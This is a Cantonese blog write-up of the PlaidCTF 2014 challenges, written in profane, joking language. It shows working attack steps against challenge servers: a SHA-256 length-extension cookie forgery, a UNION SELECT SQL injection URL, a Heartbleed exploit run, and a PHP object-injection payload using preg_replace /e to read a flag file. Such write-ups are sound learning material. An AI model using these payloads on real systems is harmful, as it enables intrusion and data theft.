2014年4月14日 星期一

PlaidCTF2014

阿邊個叫我寫 writeup 即係要我講粗口啦


Sanity check
Misc (1 pts)
The key is poop

好難 唔識玩 原來今次打答案個位打邊題答案都得


mtpox
Web (150 pts)

http://54.211.6.40/index.php?page=about
http://54.211.6.40/about
又係呢d啦
睇落冇咩分別咁

http://54.211.6.40/index.php?page=index.php
  if (isset($_GET['page'])) {
    if (strstr($_GET['page'], "secrets")) { echo "ERROR!\n"; }
    else { readfile(basename($_GET['page'])); }
  }
  else {
    readfile("index");
  }

secrets 你又識防喎 咁叻 唔防埋 admin

http://54.211.6.40/index.php?page=admin.php
  require_once("secrets.php");
  $auth = false;
  if (isset($_COOKIE["auth"])) {
     $auth = unserialize($_COOKIE["auth"]);
     $hsh = $_COOKIE["hsh"];
     if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"]))) {
       $auth = false;
     }
  }
  else {
    $auth = false;
    $s = serialize($auth);
    setcookie("auth", $s);
    setcookie("hsh", hash("sha256", $SECRET . strrev($s)));
  }
  if ($auth) {
    if (isset($_GET['query'])) {
      $link = mysql_connect('localhost', $SQL_USER, $SQL_PASSWORD) or die('Could not connect: ' . mysql_error());
      mysql_select_db($SQL_DATABASE) or die('Could not select database');
      $qstr = mysql_real_escape_string($_GET['query']);
      $query = "SELECT amount FROM plaidcoin_wallets WHERE id=$qstr";
      $result = mysql_query($query) or die('Query failed: ' . mysql_error());
      $line = mysql_fetch_array($result, MYSQL_ASSOC);
      foreach ($line as $col_value) {
        echo "Wallet " . $_GET['query'] . " contains " . $col_value . " coins.";
      }
    } else {
       echo "MtPOX Admin PageWelcome to the admin panel!

Wallet ID:
";

    }
  }
  else echo "Sorry, not authorized.";

明眼人一睇就知係 length extension attack
本來個曲奇餅係咁:
auth=b%3A0%3B; hsh=ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c

依家想改到變 b:1;
作者好俾面咁將個 $s 加個 strrev 如果唔係都唔知點改
所以個 hash input 應該係 $SECRET . ";0:b%80...whatever...;1:b"

之後計一計呢個
sha256ext(";1:b","ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3", 64+4);
出 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1

咁依家就撞下個 plaintext 係咩喎 因為唔知個 SECRET 幾長
b%3A1%3B%28%80b%3A0%3B
b%3A1%3B0%80b%3A0%3B
b%3A1%3B8%80b%3A0%3B
b%3A1%3B%40%80b%3A0%3B
b%3A1%3BH%80b%3A0%3B
b%3A1%3BP%80b%3A0%3B
b%3A1%3BX%80b%3A0%3B
b%3A1%3B%60%80b%3A0%3B

結果試到第8個就得 後來睇返about果度見到句 "authenticate admin cookies using an 8-byte salt"
你老味。 

之後下半部好明顯係 SQLi 啦 掘到手都抽筋都係掘到兩個 database information_schema 同埋 mtpox 之後 mtpox 入面得個  table plaidcoin_wallets 入面得兩個 column id 同 amount 之後入面得條 record
http://54.211.6.40/admin.php?query=0
拿 id=0 有 1333337 coins 喎 吊你係唔係又要我打個 0 做 flag 定係 1333337
之後有隊友拿 sqlmap 掃鳩佢掃到個 flag 話響個 id 度 我唔能信再睇下
http://54.211.6.40/admin.php?query=1%20UNION%20SELECT%20id%20FROM%20plaidcoin_wallets
Wallet 1 UNION SELECT id FROM plaidcoin_wallets contains flag{phpPhPphpPPPphpcoin} coins.
哇吊你。 flag{phpPhPphpPPPphpcoin} = 0 喎。


twenty
Crypto (20 pts)

fvoxoxfvwdepagxmwxfpukleofxhwevefuygzepfvexwfvufgeyfryedojhwffoyhxcwgmlxeylawfxfurwfvoxecfezfvwbecpfpeejuygoyfefvwxfpwwfxojumwuxfuffvwawuxflecaazubwjwoyfvwyepfvwuxfhwfjlopwckaohvfjlzopwoaahevupgwpfvuywjoywjdwyfufjupouvbuaajwuaoupkecygjwoyfvwuxxdofvyeacmwbvuzoyhlecpwzcbroyhdofvfvwgcgwdveheffvwrwlxfelecpxuzwuygfvexwfvufbuyfgempoyhxcofxbplfelecpcybawxujfexwffawgoxkcfwxfvechvflecgfubrawfvoxdofvuaoffawjepwfubfmcffvwyuhuoyzcghwkubrwpxogeyfryediubroxvwgufwupwswplfojwofvoyrezaorxuyhmcfxvofjuyfvwlpwubepkepufoeyuygojukwpxeyozobufoeyezzpwwgejzepuaaleczoaagebrwfxaorwfvufxubeybwkfzepwohyfeluaadvoawaudlwpxjcggldufwpuygfpexxfuaaecfezmcxoywxxoxiuoazepjwuyglecpwxcoyhjwbosoaalwnvomoffvoxoyfvwbecpfpeejheeygeofogupwlecbeyhpufcaufoeyxfvwzauhoxxoybwywdbplkfejohvfvuswyxumubrgeepxocxweagbplkfe

又係呢d 唔使諗dum去Decrypto解解佢先啦吊你
http://www.blisstonia.com/software/WebDecrypto/
拿咪話我唔提你 記得揀返 Find spaces

this is the worlds bestrapyoits geo hot and for those that don t know i m getting sued by sony lets take this out of the court room and into the streets i m a beast at the least you ll face me in the nor the ast get my ire up light my fire i ll go harder than eminem went at mariah call mealiar pound me in the ass with no lub ech a fing you refucking with the dude who got the keys to your safe and those that cant do bring suits cry to your uncles am to settle disputes thought you d tackle this with a little more tact but then againfudge packers i don t know jack i shed at ear every time i think of lik sang but shit man they reacorporation and i m a personification of freedom for all you fill dockets like that s a concept foreign toy all while lawyers muddy water and tross tall out of business is jail for me and you resuing me civilly exhibit this in the court room go on do it i dare you congratulations the flag is since new cryp to might haven s a back doors i use old crypt o

congratulations the flag is sincenewcryptomighthavensabackdoorsiuseoldcrypto


Heartbleed
Misc (10 pts)
http://www.exploit-db.com/exploits/32745/

python hb.py 54.82.147.138 -p 45373
3fc0: 66 6C 61 67 7B 68 65 79 5F 67 75 69 73 65 5F 77  flag{hey_guise_w
3fd0: 65 5F 6D 61 64 65 5F 61 5F 68 65 61 72 74 62 6C  e_made_a_heartbl
3fe0: 65 65 64 7D 00 66 6C 61 67 7B 68 65 79 5F 67 75  eed}.flag{hey_gu
3ff0: 69 73 65 5F 77 65 5F 6D 61 64 65 5F 61 5F 68 65  ise_we_made_a_he

flag{hey_guise_we_made_a_heartbleed}


multiplication is hard
Misc (10 pts)
The Plague went back in time... but we haven't yet figured out what he did this time... Anyway, what is 38.55 * 1700?
http://plus-sys.jugem.jp/?eid=85

又計錯數
呢題唔係我答 我邊識睇日文 (好似係)


doge_stege
Forensics (100 pts)

唉開個小畫家睇下隻狗先啦
果d 咩 wow such hacker 果堆字可以用油漆桶倒滿冇漏 即係唔係 LSB 啦 (<- div="">
唔玩 LSB 咁通常都係玩色板
幅圖咁細用晒 256 個色板都有d 警軍
求其開個 Hex Editor 改個色板算
PLTE 之後 768 個byte 改 之後果4byte CRC 唔理啦
Fill FFFFFF000000 先啦
聰明得滯既 Picasa 一 check 到CRC有問題唔俾我貼 我是但用個小畫家再 save 多次 所以你 download 完唔會見到奇怪色板

睇壞眼 多左咩 flag plz
e_alive_20
黑白唔啱睇下 RGB
Fill FF000000FF000000FF 

咩 e_alive_2014}
唔夠開心 Fill random byte 算

好明顯係 p_doge_alive_2014}
我估係唔係 keep_doge_alive_2014

咦有個 pctf{k 響頭喎好似 唔好問我點睇個 k 果個好明顯係 k 啦
答案 pctf{keep_doge_alive_2014}
睇壞眼


curlcore
Forensics (250 pts)
訓左教冇玩


ezhp
Pwnables (200 pts)
呢d咁難既題目好明顯唔係我答


halphow2js
Web (200 pts)
var FLAG="XXXXXXXXXXXXXXXXXXXXXX"; // <- 0="" 2="" 3="" 50="" :="" a="" amp="" ath.min.apply="" b="" dare="" for="" function="" i="" infinity="" jjjjjjjjjjjaaaaaaaaaaaavvvvvvvvvvaaaaaaaaaaaasssssssssscccccccccccrrrrrrrrrriiiiiiiiiipppppppppppppttttttttttttt="" map="" mystop.sbox="" mystop="" n="" null="" q="" return="" s:infinity="" s="" stop="" stopb="" submitting="" that="" try="" twos="" var="" x="" xia="" xxx="" you.="" yyy="(function" z="">= a.length ? undefined : x%1 || !x || x == n ? (function(){a.splice(i,1); return xia(a[i],i,a);})() : x;
 }).filter(function(x){return x;}).map(stopb(b-1))));
 // i'll make a JAVASCRIPT problem SO HARD that EVEN MATH CAN'T SOLVE IT
}; })(xxx)(z);
 if(yyy != Infinity) return yyy;
}
}
mystop.sbox = {2:1, 1:1, 4:1};

function filter() {
 var args = [].slice.apply(arguments).sort().filter(function(x,i,a){return a.indexOf(x) == i;});
 if(args.length != 5) return "uniq";
 
 var flag = false; args.map(function(x){flag |= x >= 999;});
 if(flag) return "big";
 
 var m = args.map(mystop);
 
 if(m.filter(function(x,i){return m[2]+3*i == x;}).length < 3) return "unsexy";
 if(m.filter(function(x,i){return x == args[i];}).length < 3) return "hippopotamus";
 if(m.filter(function(x,i){return x > m[i-1];}).length > 3) return "banana phone";
 
 return FLAG;
}

function self_test() {
 // SLOW SLOW SLOW self test
 var checksum1 = 15661;
 var checksum2 = 19;
 var i = 999;
 while(--i > 0) {
  var x = mystop(i);
  if(!(0 < x && x < 50)) return false;
  checksum1 -= x;
  checksum2 ^= x;
 }
 return checksum1 === 0 && checksum2 === 0;
}

function client_side() {
 var x,y,z,w,ww;
 while(1) {
  x = prompt("#1", '1'); if(!x) return;
  y = prompt("#2", '2'); if(!y) return;
  z = prompt("#3", '3'); if(!z) return;
  w = prompt("#YOLO", '420'); if(!w) return;
  ww = prompt("#PPP", '123'); if(!ww) return;
  
  // The best solutions run FAST!
  // So, skip the slow self test if you've got a solution!
  if(filter(x,y,z,w,ww) == FLAG) break;
  
  if(!self_test()) {
   alert("Sanity check failed! Get a better javascript!");
   return;
  }
  alert("Pick better numbers, man.");
 }
 call_server(x,y,z,w,ww, function(x) { alert(x); });
}

function call_server(x,y,z,w,ww,handler) {
 xmlhttp = new XMLHttpRequest();
 var port = "80"
 if(document.location.port) port = document.location.port;
 xmlhttp.open("GET", "https://"+document.location.hostname+":"+port+ // arrr, where be my C format stringsss
              "/myajax?x="+x+"&y="+y+"&z="+z+"&w="+w+"&ww="+ww, true); // CSTYLE4LYFE
 xmlhttp.onreadystatechange = function(){
  if(xmlhttp.readyState==4 && xmlhttp.status==200) {
   handler(string=xmlhttp.responseText);
  }
 }
 xmlhttp.send();
}
拿拿臨 submit XXXXXXXXXXXXXXXXXXXXXX 先啦吊你
成題完全唔知做乜 睇下呢度先
// The best solutions run FAST!
  // So, skip the slow self test if you've got a solution!
  if(filter(x,y,z,w,ww) == FLAG) break;
即係唔可以俾佢出 uniq big unsexy hippopotamus 或者 banana phone
我呢d 懶人梗係狗屎垃圾都 log 下睇下做乜

function filtar() {
 var args = [].slice.apply(arguments).sort().filter(function(x,i,a){return a.indexOf(x) == i;});
 console.log(args);
 if(args.length != 5) return "uniq";
 
 var flag = false; args.map(function(x){flag |= x >= 999;});
 if(flag) return "big";
 
 var m = args.map(mystop);
 console.log(m);
 console.log(m.filter(function(x,i){return m[2]+3*i == x;}));
 console.log(m.filter(function(x,i){return x == args[i];}));
 console.log(m.filter(function(x,i){return x > m[i-1];}));

 if(m.filter(function(x,i){return m[2]+3*i == x;}).length < 3) return "unsexy";
 if(m.filter(function(x,i){return x == args[i];}).length < 3) return "hippopotamus";
 if(m.filter(function(x,i){return x > m[i-1];}).length > 3) return "banana phone";
 
 return FLAG;
}

點解俾我改做 filtar 係因為我發現 javascript 入面真係有個 method 叫 filter 廢事撈亂
你入5個數佢會幫你整走重覆數 同埋用文字方式排序 即係你入 2 3 5 7 11 會變左 11 2 3 5 7
第一關 uniq 好簡單啦 唔好入重覆數就得
第二關 big 都好簡單 唔好打個數咁大就得

之後你入果5個數會 map 去個 function mystop 同你計一大餐數 
gen 幾項去 OEIS 搵都搵唔到 預左啦


之後果三個麻煩 checking

講下河馬先 要你map 完果 5個數有其中三個或以上同未map 之前一樣
個 self-test 就話 input range 入面個 map output 一定係 1 至 49 咁剩係試 1至49 囉
args m
1 1
2 1
3 5
4 1
5 3
6 6
7 11
8 2
9 5
10 4
11 9
12 6
13 5
14 12
15 11
16 2
17 7
18 6
19 13
20 4
21 3
22 10
23 9
24 6
25 15
26 6
27 13
28 4
29 11
30 12
31 19
32 2
33 9
34 8
35 7
36 6
37 7
38 14
39 15
40 4
41 11
42 4
43 13
44 10
45 9
46 10
47 17
48 6
49 9

吊你得 1 同 6 map 完一樣
之後又鳩試下d 奇怪 input 例如 1.5 啊 01 啊呢d 原來 1, 2 同埋 4 如果你用d怪 input 入佢會出 2 instead of 1. 應該係因為佢個 sbox 作怪
咁依家有 1, 6 同埋 "02", " 2", "0x2", "2.0", "2e0" 呢d得
睇返 unsexy 果個
要有至少三個 第 n 個 output 等於 (n-1)*3 + 第3個 output
第3個已經收左皮啦邊有 x = x + 6
又要用 1, 2 同埋 6
你老味 1+3n = 1,4,7,10,13; 2+3n = 2,5,8,11,14; 3n = 0,3,6,9,12
真係個個獨當一面

之後又試下鳩打d 野 發現個 Array ["1"] 都會 map 返去 1
結果我屎窟痕裝個 node.js 試下打 w=1&w= 會點 點知佢出 ['1',''] 算鬼數

之後無端端諗到如果鳩用個 1 唔得 可以試下鳩用個 2
https://54.196.246.17:8001/myajax?x=0x02&y=0x03&z=0x2&w=41&ww=6
唉終於得
w00t_i_are_mastar_web_hackar



kpop
Web (200 pts)

明眼人一睇就知玩 class unserialize
求其抄佢d code 改下d 野再 serialize 然後放去 import 果度俾佢 import 或者改 cookie 之後去某d page 都 trigger 到個 unserialize

見到寫log去個 /var/www/sqli/unserial/logs/ 咁開心 試下寫 code 啦
唔知點解撞到呢個
http://54.234.123.205/logs/
咁應該 ../fuckyou.php 會出到野啦
一 import 之後打 fuckyou.php 404喎吊你
吊我試下 write 去 import.php 畫面都白埋 唔知係唔係有 write protection
之後再睇下 咦有個硬膠 preg_replace
明眼人一睇就知係玩個 /e 啦
之後改下啦
呢句:
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "\\1");
改做
$fltr = new OutputFilter("/(.*)/e", "highlight_file('/home/flag/flag')");
唉我連讀 file 都唔識寫 highlight_file 算
之後再 serialize base64_encode 放去 import

Your songs have been imported! Go back to the songs page to see them!
One_of_our_favorite_songs_is_bubble_popOne_of_our_favorite_songs_is_bubble_popOne_of_our_favorite_songs_is_bubble_pop


最後 #55 1141分  唉個分個數都衰過人咩141. 唔玩 poop 果題算
解唔到果d唔講啦 好難唔識答 吊你